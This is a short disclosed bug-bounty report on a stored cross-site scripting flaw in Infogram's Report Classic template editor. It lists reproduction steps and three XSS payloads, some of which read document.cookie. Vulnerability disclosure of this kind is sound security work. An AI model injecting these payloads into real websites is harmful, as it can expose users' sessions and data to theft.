Infogram · Report #282535
XSS on Report Classic
Validstatus
5upvotes
3 Nov 2017disclosed
How it was found
hi team ...
i found XSS on https://infogram.com/app/#/library
#step .. 1- go to https://infogram.com/app/#/library 2- choose Report Templates . 3- Use Report Classic 4- click to edit_data 5- payload
<img/ src=1 onerror= alert(document.cookie)> //#"><svg/onload=prompt(1)> “><script>alert(document.cookie)</script>
6-execute XSS and which you edit data XSS stared